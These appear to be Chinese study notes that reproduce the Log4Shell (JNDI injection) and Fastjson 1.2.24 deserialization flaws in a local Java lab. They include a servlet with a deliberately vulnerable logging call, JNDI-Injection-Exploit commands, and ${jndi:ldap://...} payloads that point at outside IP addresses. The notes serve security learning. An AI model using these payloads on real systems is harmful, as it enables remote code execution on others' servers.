时间轴:
 
 
演示案例:
Java-三方组件-Log4J&JNDI
Java-三方组件-FastJson&反射
Maven的下载及配置:
 
 IDEA配置Maven的超详细步骤_java_脚本之家 
 
 
 
Java-三方组件-Log4J&JNDI
 
 JNDI  
 注入: 
 ( 
 见图 
 )  
 
 
 Java Naming and Directory Interface (Java  
 命名和目录接口  
 ) 
 , 
 JNDI  
 提  
 
 
 供统一的客户端  
 API 
 ,通过不同的服务供应接口 
 (SPI) 
 的实现,由管理者将  
 JNDI API  
 
 
 映射为特定的命名服务和目录服务,使得  
 JAVA  
 应用程可以通过  
 JNDI  
 实现和这些命名  
 
 
 服务和目录服务之间的交互。  
 
 
 #Java- 
 三方组件 
 -Log4J&JNDI  
 
 
 Log4J 
 :  
 
 
 Apache  
 的一个开源项目,通过使用  
 Log4j 
 ,我们可以控制日志信息输送的目的地是控制  
 
 
 台、文件、 
 GUI  
 组件,甚至是套接口服务器、 
 NT  
 的事件记录器、 
 UNIX Syslog  
 守护进  
 
 
 程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能  
 
 
 够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来  
 
 
 灵活地进行配置,而不需要修改应用的代码。  
 
 
 Log4j- 
 组件安全复现  
 
 
 1 
 、 
 Maven  
 引用  
 Log4j  
 
 
 2 
 、接受用户输入值  
 
 
 3 
 、 
 Log4j  
 处理错误输入  
 
 
 4 
 、利用  
 jndi-ldap  
 执行  
 
 
 Test:  
 
 
 String code="test";  
 
 
 String code="${java:os}";  
 
 
 logger.error("{}",code);  
 
 
 String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";  
 
 
 服务器:  
 
 
 java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx 
 
 
 
 
1.创建新项目

2.log4j组件的导入
 
 Jar  
 仓库:  
 
 
 https://mvnrepos 
 
 
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
搜索log4j,选择第一个

进入后选择2.1.4

复制其maven

maven代码:
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
点击上面的

会在外部多加两个库:
 
 
  改为2.14.0的话,自动会变成2.14.0的包 
 
 
 
Log4jTest:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
    //使用Log4j 实现错误日志输出
    private static final Logger logger = LogManager.getLogger(Log4jTest.class);
    public static void main(String[] args) {
        //如果这个code变量是可控的
        String code="${java:os}";
        logger.error("{}",code);
    }
}
Logger选择此项:

正常情况运行的话:
 
 
使用Log4j 实现错误日志输出:

  os的意思是系统的意思。 
 
 
  vm是java的虚拟器 
 
 
 
 
测试漏洞
  创建一个新项目Log4jWebDemo,在下面创建一个Log4jServlet。 
 
 
 
  将log4j的包导入进web.xml去(和上面的方法一样) 
 
 
 
 
  Log4jServlet: 
 
package com.example.log4jwebdemo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
    //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
    private static final Logger log= LogManager.getLogger(Log4jServlet.class);
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code =req.getParameter("code");
        log.error("{}",code);
    }
}
使用http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code={$java:os}
正常情况:(在最下面能看到系统)

当遇到一下情况时:
 
 
  借助文章: 
 
 
 从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客 
 
 
  在tomcat下的./conf/service.xml 中重写Connector这个地方 。 
 
 
<Connector port="8080" protocol="HTTP/1.1"
         connectionTimeout="30000"
               maxThreads="800"
               minSpareThreads="50"
         redirectPort="8443"
         URIEncoding="ISO-8859-1"
         relaxedQueryChars="[,],|,{,},^,\,`,",<,>"/>
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
                         
 原文链接:从0到1java安全5_jndi-injection-exploit-1.0-snapshot-all.jar-CSDN博客
网上漏洞注入:
 
 Log4j高危漏洞原理及复现_log4j漏洞修复-CSDN博客 
 
 
 
 JNDI&RMI&LDAP介绍+log4j分析_jdbc-ldap-CSDN博客 
 
 
 
 
使用xshell生成JNDI进行漏洞注入:
 
 
 
 
  为什么使用JNDI?原因如下: 
 
 
 
  使用xshell进行操作: 
 
 
1.先更新源
sudo apt update
2.安装java
sudo apt install default-jre
3.切换到目录
cd /
4.使用java打开jar文件
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

下面使用的ip为linux的ip
 
 
  使用 
 
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.239.89.173注意使用版本jdk必须小于jdk8u 121,本人使用112
 
 
  使用网址 
 localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${jndi:ldap://47.239.120.145:1389/tv9lqn} 
 
  得到结果如下:(但不知为何没弹出计算器,其他dnslog.cn都可以用) 
 
 
 
  完整代码: 
 
package com.example.log4jwebdemo;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/log4j")
public class Log4jServlet extends HttpServlet {
    //构造HTTP Web服务 使用带漏洞Log4j版本 实现功能
    private static final Logger log= LogManager.getLogger(Log4jServlet.class);
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String code =req.getParameter("code");
        //code=$(java:os) 输出执行结果
        //code=(java:os) 正常输入
        //${jndi:ldap://47.94.236.117:1389/uyhyw6}
        //${jndi:ldap://xxxx.dns.log}
        //ldap://47.94.236.117:1389/uyhyw6 生成的远程可访问的调用方法
        //什么方法? -C "calc" 执行计算机的功能方法(JNDI注入工具生成的)
        log.error("{}",code);
        //1、开发源码中引用漏洞组件如log4j
        //2、开发中使用组件的代码(触发漏洞代码)
        //3、可控变量去传递Payload来实现攻击
    }
}
Java-三方组件-FastJson&反射
 
 FastJson 
 :  
 
 
 在前后端数据传输交互中 
 , 
 经常会遇到字符串 
 (String) 
 与  
 json,XML  
 等格式相互转换与  
 
 
 解析,其中  
 json  
 以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据  
 
 
 交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互, 
 Web  
 输出等各  
 
 
 种应用场景中。 
 FastJson  
 是阿里巴巴的的开源库,用于对  
 JSON  
 格式的数据进行解析和 
 
 
 
  1.创建FastjsonDemo: 
 
 
 
  2.配置Fastjson: 
 
 
 
 https://mvnrepository.com/ 
 
  版本: 
 
  1.2.24 
 
 
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency> 
 
  创建软件包com.xiaodi: 
 
   
 
  创建User: 
 
 
package com.xiaodi;
//给fastjson数据转换测试用的
public class User {
    private String name;
    private Integer age;
    public Integer getAge() {
        return age;
    }
    public String getName() {
        return name;
    }
    public void setAge(Integer age) {
        this.age = age;
        System.out.println(age);
    }
    public void setName(String name) {
        this.name = name;
        System.out.println(name);
    }
}
创建Fastjson
package com.xiaodi;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
//使用fastjson去处理User类数据
public class FastjsonTest {
    public static void main(String[] args) {
        //u Object对象
        //Integer age String name 字符串数据
        User u = new User();
        u.setAge(30);
        u.setName("xiaodi");
        //System.out.println(u);
        //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
        //我就选择第三方组件fastjson来去做这个功能
        //讲json对象转换json数据
          String jsonString = JSONObject.toJSONString(u);
          System.out.println("这就是json格式:"+jsonString);
    }
}
使用json格式输出时候:
Fastjson漏洞造成:
当json转换为对象的时候,翻译从User改为Run从而调用错误。
   String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}"; 
 
String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";
 
String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";
package com.xiaodi;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;
//使用fastjson去处理User类数据
public class FastjsonTest {
    public static void main(String[] args) {
        //u Object对象
        //Integer age String name 字符串数据
        User u = new User();
        u.setAge(30);
        u.setName("xiaodi");
        //System.out.println(u);
        //我们想把数据转换成Json格式数据,我不想用自带的API(太麻烦)
        //我就选择第三方组件fastjson来去做这个功能
        //讲json对象转换json数据
//        String jsonString = JSONObject.toJSONString(u);
//        System.out.println("这就是json格式:"+jsonString);
       //分析漏洞利用 多输出 转换数据的类型(类) 告诉大家其实前面有一个@type 转换对象类包
//        String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
//        System.out.println(jsonString1);
        //上述对象 -> JSON
        //下面JSON -> 对象
        //String test = "{\"@type\":\"com.xiaodi.User\",\"age\":30,\"name\":\"xiaodi\"}";
        String test = "{\"@type\":\"com.xiaodi.Run\",\"age\":30,\"name\":\"xiaodi\"}";
        //实战中com.xiaodi.Run 我们不知道 固定调用
        //rmi ldap 去触发远程的class 执行代码(RCE)
        JSONObject jsonObject = JSON.parseObject(test);
        System.out.println(jsonObject);
    }
}

漏洞exp文章:
 
 fastjson1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)_fastjson<= 1.2.24 反序列化导致任意命令执行漏洞(cve-2017-18349)-CSDN博客 
 
 
 
 
 
  使用dnslog.cn来判断漏洞; 
 
 
 Fastjson 1.2.47 反序列化(CVE-2017-18349)漏洞复现_漏洞复现 fastjson1.2.47反序列化漏洞-CSDN博客 
 
 
 
  本文章由李豆豆喵和番薯小羊卷~共同完成。 
 
 
                


















